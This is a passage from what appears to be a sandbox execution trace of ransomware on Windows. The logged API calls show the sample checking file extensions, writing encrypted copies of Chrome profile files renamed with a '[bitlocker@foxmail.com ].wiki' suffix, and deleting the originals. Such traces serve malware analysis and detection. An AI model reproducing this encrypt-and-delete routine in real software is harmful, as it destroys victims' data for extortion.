HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOCK") returned 96 [0177.724] lstrlenW (lpString=".doc") returned 4 [0177.724] lstrcmpiW (lpString1=".doc", lpString2="LOCK") returned -1 [0177.724] lstrlenW (lpString=".docx") returned 5 [0177.724] lstrcmpiW (lpString1=".docx", lpString2="\\LOCK") returned -1 [0177.724] lstrlenW (lpString=".pdf") returned 4 [0177.724] lstrcmpiW (lpString1=".pdf", lpString2="LOCK") returned -1 [0177.724] lstrlenW (lpString=".xls") returned 4 [0177.724] lstrcmpiW (lpString1=".xls", lpString2="LOCK") returned -1 [0177.724] lstrlenW (lpString=".xlsx") returned 5 [0177.724] lstrcmpiW (lpString1=".xlsx", lpString2="\\LOCK") returned -1 [0177.724] lstrlenW (lpString=".ppt") returned 4 [0177.724] lstrcmpiW (lpString1=".ppt", lpString2="LOCK") returned -1 [0177.724] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOCK") returned 96 [0177.724] lstrlenW (lpString=".zip") returned 4 [0177.724] lstrcmpiW (lpString1=".zip", lpString2="LOCK") returned -1 [0177.724] lstrlenW (lpString=".rar") returned 4 [0177.724] lstrcmpiW (lpString1=".rar", lpString2="LOCK") returned -1 [0177.724] lstrlenW (lpString=".bz2") returned 4 [0177.724] lstrcmpiW (lpString1=".bz2", lpString2="LOCK") returned -1 [0177.724] lstrlenW (lpString=".7z") returned 3 [0177.724] lstrcmpiW (lpString1=".7z", lpString2="OCK") returned -1 [0177.725] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOCK") returned 96 [0177.725] lstrlenW (lpString=".dbf") returned 4 [0177.725] lstrcmpiW (lpString1=".dbf", lpString2="LOCK") returned -1 [0177.725] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOCK") returned 96 [0177.725] lstrlenW (lpString=".1cd") returned 4 [0177.725] lstrcmpiW (lpString1=".1cd", lpString2="LOCK") returned -1 [0177.725] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOCK") returned 96 [0177.725] lstrlenW (lpString=".jpg") returned 4 [0177.725] lstrcmpiW (lpString1=".jpg", lpString2="LOCK") returned -1 [0177.725] lstrlenW (lpString="LOG") returned 3 [0177.725] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0177.725] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x379ff1c | out: lpFileSize=0x379ff1c*=154) returned 1 [0177.725] CloseHandle (hObject=0x334) returned 1 [0177.920] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\log")) returned 0x2020 [0177.920] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\log.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0177.920] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\log"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0177.920] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.920] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.932] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\log.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0177.932] GetLastError () returned 0x0 [0177.944] ReadFile (in: hFile=0x334, lpBuffer=0x4150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fed4, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesRead=0x379fed4*=0x9a, lpOverlapped=0x0) returned 1 [0177.945] WriteFile (in: hFile=0x124, lpBuffer=0x4150020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x379fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesWritten=0x379fc9c*=0xa0, lpOverlapped=0x0) returned 1 [0177.946] ReadFile (in: hFile=0x334, lpBuffer=0x4150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fed4, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesRead=0x379fed4*=0x0, lpOverlapped=0x0) returned 1 [0177.946] WriteFile (in: hFile=0x124, lpBuffer=0x4150020*, nNumberOfBytesToWrite=0xda, lpNumberOfBytesWritten=0x379fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesWritten=0x379fc9c*=0xda, lpOverlapped=0x0) returned 1 [0177.946] SetEndOfFile (hFile=0x124) returned 1 [0177.947] CloseHandle (hObject=0x124) returned 1 [0177.947] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.947] SetEndOfFile (hFile=0x334) returned 1 [0177.947] CloseHandle (hObject=0x334) returned 1 [0177.947] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0177.948] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\log")) returned 1 [0177.948] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOG") returned 95 [0177.948] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOG") returned 95 [0177.948] lstrlenW (lpString=".doc") returned 4 [0177.948] lstrcmpiW (lpString1=".doc", lpString2="\\LOG") returned -1 [0177.948] lstrlenW (lpString=".docx") returned 5 [0177.948] lstrcmpiW (lpString1=".docx", lpString2="e\\LOG") returned -1 [0177.948] lstrlenW (lpString=".pdf") returned 4 [0177.948] lstrcmpiW (lpString1=".pdf", lpString2="\\LOG") returned -1 [0177.948] lstrlenW (lpString=".xls") returned 4 [0177.948] lstrcmpiW (lpString1=".xls", lpString2="\\LOG") returned -1 [0177.948] lstrlenW (lpString=".xlsx") returned 5 [0177.948] lstrcmpiW (lpString1=".xlsx", lpString2="e\\LOG") returned -1 [0177.948] lstrlenW (lpString=".ppt") returned 4 [0177.948] lstrcmpiW (lpString1=".ppt", lpString2="\\LOG") returned -1 [0177.948] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOG") returned 95 [0177.948] lstrlenW (lpString=".zip") returned 4 [0177.948] lstrcmpiW (lpString1=".zip", lpString2="\\LOG") returned -1 [0177.948] lstrlenW (lpString=".rar") returned 4 [0177.948] lstrcmpiW (lpString1=".rar", lpString2="\\LOG") returned -1 [0177.948] lstrlenW (lpString=".bz2") returned 4 [0177.949] lstrcmpiW (lpString1=".bz2", lpString2="\\LOG") returned -1 [0177.949] lstrlenW (lpString=".7z") returned 3 [0177.949] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0177.949] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOG") returned 95 [0177.949] lstrlenW (lpString=".dbf") returned 4 [0177.949] lstrcmpiW (lpString1=".dbf", lpString2="\\LOG") returned -1 [0177.949] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOG") returned 95 [0177.949] lstrlenW (lpString=".1cd") returned 4 [0177.949] lstrcmpiW (lpString1=".1cd", lpString2="\\LOG") returned -1 [0177.949] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOG") returned 95 [0177.949] lstrlenW (lpString=".jpg") returned 4 [0177.949] lstrcmpiW (lpString1=".jpg", lpString2="\\LOG") returned -1 [0177.949] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOG") returned 95 [0177.949] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOG") returned 95 [0177.949] lstrlenW (lpString=".doc") returned 4 [0177.949] lstrcmpiW (lpString1=".doc", lpString2="\\LOG") returned -1 [0177.949] lstrlenW (lpString=".docx") returned 5 [0177.949] lstrcmpiW (lpString1=".docx", lpString2="e\\LOG") returned -1 [0177.949] lstrlenW (lpString=".pdf") returned 4 [0177.949] lstrcmpiW (lpString1=".pdf", lpString2="\\LOG") returned -1 [0177.949] lstrlenW (lpString=".xls") returned 4 [0177.949] lstrcmpiW (lpString1=".xls", lpString2="\\LOG") returned -1 [0177.949] lstrlenW (lpString=".xlsx") returned 5 [0177.949] lstrcmpiW (lpString1=".xlsx", lpString2="e\\LOG") returned -1 [0177.949] lstrlenW (lpString=".ppt") returned 4 [0177.949] lstrcmpiW (lpString1=".ppt", lpString2="\\LOG") returned -1 [0177.949] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOG") returned 95 [0177.949] lstrlenW (lpString=".zip") returned 4 [0177.949] lstrcmpiW (lpString1=".zip", lpString2="\\LOG") returned -1 [0177.949] lstrlenW (lpString=".rar") returned 4 [0177.950] lstrcmpiW (lpString1=".rar", lpString2="\\LOG") returned -1 [0177.950] lstrlenW (lpString=".bz2") returned 4 [0177.950] lstrcmpiW (lpString1=".bz2", lpString2="\\LOG") returned -1 [0177.950] lstrlenW (lpString=".7z") returned 3 [0177.950] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0177.950] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOG") returned 95 [0177.950] lstrlenW (lpString=".dbf") returned 4 [0177.950] lstrcmpiW (lpString1=".dbf", lpString2="\\LOG") returned -1 [0177.950] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOG") returned 95 [0177.950] lstrlenW (lpString=".1cd") returned 4 [0177.950] lstrcmpiW (lpString1=".1cd", lpString2="\\LOG") returned -1 [0177.950] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOG") returned 95 [0177.950] lstrlenW (lpString=".jpg") returned 4 [0177.950] lstrcmpiW (lpString1=".jpg", lpString2="\\LOG") returned -1 [0177.950] lstrlenW (lpString="History Provider Cache") returned 22 [0177.950] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History Provider Cache" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\history provider cache"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0177.950] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x379ff1c | out: lpFileSize=0x379ff1c*=5167) returned 1 [0177.951] CloseHandle (hObject=0x334) returned 1 [0177.951] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History Provider Cache" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\history provider cache")) returned 0x2020 [0177.951] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History Provider Cache.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\history provider cache.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0177.951] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History Provider Cache" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\history provider cache"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0177.951] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.951] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.951] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History Provider Cache.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\history provider cache.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0177.951] GetLastError () returned 0x0 [0177.951] ReadFile (in: hFile=0x334, lpBuffer=0x4150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fed4, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesRead=0x379fed4*=0x142f, lpOverlapped=0x0) returned 1 [0177.954] WriteFile (in: hFile=0x124, lpBuffer=0x4150020*, nNumberOfBytesToWrite=0x1430, lpNumberOfBytesWritten=0x379fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesWritten=0x379fc9c*=0x1430, lpOverlapped=0x0) returned 1 [0177.955] ReadFile (in: hFile=0x334, lpBuffer=0x4150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fed4, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesRead=0x379fed4*=0x0, lpOverlapped=0x0) returned 1 [0177.955] WriteFile (in: hFile=0x124, lpBuffer=0x4150020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x379fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesWritten=0x379fc9c*=0x100, lpOverlapped=0x0) returned 1 [0177.955] SetEndOfFile (hFile=0x124) returned 1 [0177.955] CloseHandle (hObject=0x124) returned 1 [0177.956] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.956] SetEndOfFile (hFile=0x334) returned 1 [0177.956] CloseHandle (hObject=0x334) returned 1 [0177.956] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History Provider Cache.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0177.957] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History Provider Cache" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\history provider cache")) returned 1 [0177.957] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History Provider Cache") returned 98 [0177.957] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History Provider Cache") returned 98 [0177.957] lstrlenW (lpString=".doc") returned 4 [0177.957] lstrcmpiW (lpString1=".doc", lpString2="ache") returned -1 [0177.957] lstrlenW (lpString=".docx") returned 5 [0177.957] lstrcmpiW (lpString1=".docx", lpString2="Cache") returned -1 [0177.957] lstrlenW (lpString=".pdf") returned 4 [0177.957] lstrcmpiW (lpString1=".pdf", lpString2="ache") returned -1 [0177.957] lstrlenW (lpString=".xls") returned 4 [0177.957] lstrcmpiW (lpString1=".xls", lpString2="ache") returned -1 [0177.957] lstrlenW (lpString=".xlsx") returned 5 [0177.957] lstrcmpiW (lpString1=".xlsx", lpString2="Cache") returned -1 [0177.957] lstrlenW (lpString=".ppt") returned 4 [0177.957] lstrcmpiW (lpString1=".ppt", lpString2="ache") returned -1 [0177.957] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History Provider Cache") returned 98 [0177.957] lstrlenW (lpString=".zip") returned 4 [0177.957] lstrcmpiW (lpString1=".zip", lpString2="ache") returned -1 [0177.957] lstrlenW (lpString=".rar") returned 4 [0177.958] lstrcmpiW (lpString1=".rar", lpString2="ache") returned -1 [0177.958] lstrlenW (lpString=".bz2") returned 4 [0177.958] lstrcmpiW (lpString1=".bz2", lpString2="ache") returned -1 [0177.958] lstrlenW (lpString=".7z") returned 3 [0177.958] lstrcmpiW (lpString1=".7z", lpString2="che") returned -1 [0177.958] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History Provider Cache") returned 98 [0177.958] lstrlenW (lpString=".dbf") returned 4 [0177.958] lstrcmpiW (lpString1=".dbf", lpString2="ache") returned -1 [0177.958] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History Provider Cache") returned 98 [0177.958] lstrlenW (lpString=".1cd") returned 4 [0177.958] lstrcmpiW (lpString1=".1cd", lpString2="ache") returned -1 [0177.958] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History Provider Cache") returned 98 [0177.958] lstrlenW (lpString=".jpg") returned 4 [0177.958] lstrcmpiW (lpString1=".jpg", lpString2="ache") returned -1 [0177.958] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History Provider Cache") returned 98 [0177.958] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History Provider Cache") returned 98 [0177.958] lstrlenW (lpString=".doc") returned 4 [0177.958] lstrcmpiW (lpString1=".doc", lpString2="ache") returned -1 [0177.958] lstrlenW (lpString=".docx") returned 5 [0177.958] lstrcmpiW (lpString1=".docx", lpString2="Cache") returned -1 [0177.958] lstrlenW (lpString=".pdf") returned 4 [0177.958] lstrcmpiW (lpString1=".pdf", lpString2="ache") returned -1 [0177.958] lstrlenW (lpString=".xls") returned 4 [0177.958] lstrcmpiW (lpString1=".xls", lpString2="ache") returned -1 [0177.958] lstrlenW (lpString=".xlsx") returned 5 [0177.958] lstrcmpiW (lpString1=".xlsx", lpString2="Cache") returned -1 [0177.958] lstrlenW (lpString=".ppt") returned 4 [0177.959] lstrcmpiW (lpString1=".ppt", lpString2="ache") returned -1 [0177.959] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History Provider Cache") returned 98 [0177.959] lstrlenW (lpString=".zip") returned 4 [0177.959] lstrcmpiW (lpString1=".zip", lpString2="ache") returned -1 [0177.959] lstrlenW (lpString=".rar") returned 4 [0177.959] lstrcmpiW (lpString1=".rar", lpString2="ache") returned -1 [0177.959] lstrlenW (lpString=".bz2") returned 4 [0177.959] lstrcmpiW (lpString1=".bz2", lpString2="ache") returned -1 [0177.959] lstrlenW (lpString=".7z") returned 3 [0177.959] lstrcmpiW (lpString1=".7z", lpString2="che") returned -1 [0177.959] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History Provider Cache") returned 98 [0177.959] lstrlenW (lpString=".dbf") returned 4 [0177.959] lstrcmpiW (lpString1=".dbf", lpString2="ache") returned -1 [0177.959] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History Provider Cache") returned 98 [0177.959] lstrlenW (lpString=".1cd") returned 4 [0177.959] lstrcmpiW (lpString1=".1cd", lpString2="ache") returned -1 [0177.959] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History Provider Cache") returned 98 [0177.959] lstrlenW (lpString=".jpg") returned 4 [0177.959] lstrcmpiW (lpString1=".jpg", lpString2="ache") returned -1 [0177.959] lstrlenW (lpString="History-journal") returned 15 [0177.959] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History-journal" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\history-journal"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0177.960] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x379ff1c | out: lpFileSize=0x379ff1c*=0) returned 1 [0177.960] CloseHandle (hObject=0x334) returned 1 [0177.960] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History-journal") returned 91 [0177.960] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History-journal") returned 91 [0177.960] lstrlenW (lpString=".doc") returned 4 [0177.960] lstrcmpiW (lpString1=".doc", lpString2="rnal") returned -1 [0177.960] lstrlenW (lpString=".docx") returned 5 [0177.960] lstrcmpiW (lpString1=".docx", lpString2="urnal") returned -1 [0177.960] lstrlenW (lpString=".pdf") returned 4 [0177.960] lstrcmpiW (lpString1=".pdf", lpString2="rnal") returned -1 [0177.960] lstrlenW (lpString=".xls") returned 4 [0177.960] lstrcmpiW (lpString1=".xls", lpString2="rnal") returned -1 [0177.960] lstrlenW (lpString=".xlsx") returned 5 [0177.960] lstrcmpiW (lpString1=".xlsx", lpString2="urnal") returned -1 [0177.960] lstrlenW (lpString=".ppt") returned 4 [0177.960] lstrcmpiW (lpString1=".ppt", lpString2="rnal") returned -1 [0177.960] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History-journal") returned 91 [0177.960] lstrlenW (lpString=".zip") returned 4 [0177.960] lstrcmpiW (lpString1=".zip", lpString2="rnal") returned -1 [0177.960] lstrlenW (lpString=".rar") returned 4 [0177.960] lstrcmpiW (lpString1=".rar", lpString2="rnal") returned -1 [0177.961] lstrlenW (lpString=".bz2") returned 4 [0177.961] lstrcmpiW (lpString1=".bz2", lpString2="rnal") returned -1 [0177.961] lstrlenW (lpString=".7z") returned 3 [0177.961] lstrcmpiW (lpString1=".7z", lpString2="nal") returned -1 [0177.961] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History-journal") returned 91 [0177.961] lstrlenW (lpString=".dbf") returned 4 [0177.961] lstrcmpiW (lpString1=".dbf", lpString2="rnal") returned -1 [0177.961] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History-journal") returned 91 [0177.961] lstrlenW (lpString=".1cd") returned 4 [0177.961] lstrcmpiW (lpString1=".1cd", lpString2="rnal") returned -1 [0177.961] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History-journal") returned 91 [0177.961] lstrlenW (lpString=".jpg") returned 4 [0177.961] lstrcmpiW (lpString1=".jpg", lpString2="rnal") returned -1 [0177.961] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History-journal") returned 91 [0177.961] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History-journal") returned 91 [0177.961] lstrlenW (lpString=".doc") returned 4 [0177.961] lstrcmpiW (lpString1=".doc", lpString2="rnal") returned -1 [0177.961] lstrlenW (lpString=".docx") returned 5 [0177.961] lstrcmpiW (lpString1=".docx", lpString2="urnal") returned -1 [0177.961] lstrlenW (lpString=".pdf") returned 4 [0177.961] lstrcmpiW (lpString1=".pdf", lpString2="rnal") returned -1 [0177.961] lstrlenW (lpString=".xls") returned 4 [0177.961] lstrcmpiW (lpString1=".xls", lpString2="rnal") returned -1 [0177.961] lstrlenW (lpString=".xlsx") returned 5 [0177.961] lstrcmpiW (lpString1=".xlsx", lpString2="urnal") returned -1 [0177.961] lstrlenW (lpString=".ppt") returned 4 [0177.961] lstrcmpiW (lpString1=".ppt", lpString2="rnal") returned -1 [0177.962] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History-journal") returned 91 [0177.962] lstrlenW (lpString=".zip") returned 4 [0177.962] lstrcmpiW (lpString1=".zip", lpString2="rnal") returned -1 [0177.962] lstrlenW (lpString=".rar") returned 4 [0177.962] lstrcmpiW (lpString1=".rar", lpString2="rnal") returned -1 [0177.962] lstrlenW (lpString=".bz2") returned 4 [0177.962] lstrcmpiW (lpString1=".bz2", lpString2="rnal") returned -1 [0177.962] lstrlenW (lpString=".7z") returned 3 [0177.962] lstrcmpiW (lpString1=".7z", lpString2="nal") returned -1 [0177.962] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History-journal") returned 91 [0177.962] lstrlenW (lpString=".dbf") returned 4 [0177.962] lstrcmpiW (lpString1=".dbf", lpString2="rnal") returned -1 [0177.962] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History-journal") returned 91 [0177.962] lstrlenW (lpString=".1cd") returned 4 [0177.962] lstrcmpiW (lpString1=".1cd", lpString2="rnal") returned -1 [0177.962] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History-journal") returned 91 [0177.962] lstrlenW (lpString=".jpg") returned 4 [0177.962] lstrcmpiW (lpString1=".jpg", lpString2="rnal") returned -1 [0177.962] lstrcmpiW (lpString1=".tmp", lpString2=".wiki") returned -1 [0177.962] lstrlenW (lpString="A058.tmp") returned 8 [0177.962] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS 